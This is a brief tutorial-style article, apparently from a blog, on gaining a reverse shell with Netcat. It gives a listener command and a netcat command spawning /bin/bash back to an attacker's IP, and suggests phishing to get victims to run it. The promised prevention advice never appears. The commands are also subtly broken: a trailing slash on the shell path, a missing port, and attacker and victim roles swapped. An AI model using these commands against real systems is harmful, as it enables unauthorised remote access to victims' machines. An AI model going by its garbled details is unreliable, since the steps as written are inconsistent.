Reverse Shell Attack with Netcat

Netcat is a tool to get remote access from your target. In this article, I will show you how to use it and what you can do to prevent them.

Photo by Max Bender on Unsplash

“Amateurs hack systems, professionals hack people.”

-Bruce Schneier

Netcat is a command line tool for reading and writing data in the network, and it uses the network protocols TCP and UDP. It was developed for Unix. There are similar tools for every OS.

Let Me Explain to You What is the Reverse Shell Attack?

A reverse shell is a session established on a connection initiated from a remote machine(the victim’s machine in this case), not the attacker’s machine. To achieve this, attackers must exploit a related vulnerability on the victim’s machine. Contrary to common belief, reverse shells can also work across a NAT, proxy or next-generation firewall.

How to Gain Remote Access with Netcat?

Photo by Nahel Abdul Hadi on Unsplash

First of all, the attacker machine should have Netcat. In most cases, this would not be a problem because most servers are Unix-based OS. Moreover, every OS have a similar tool to Netcat, which can be used for the same aim.

You should run the following code on your machine:

sudo nc -lnvp X //x is the port number you want to listen to

This code means that Netcat should listen the port number x for connection. When there is a connection it will give you a notification.

The following code should be run on the attackers machine

sudo nc -e /bin/bash/ your_machine_IP

As soon as the victim connected to your machine, you got a message like a connection from XXXX received. Now your terminal is a victim’s terminal.

How to Run the Code on Target Machine to Gain a Reverse Shell?

A phishing attack can be used for this. You can read this article to execute Netcat code on the target machine for more information.

In this article, I have tried to explain how to gain a reverse shell access with Netcat. Hope, It was beneficial. Thanks for reading.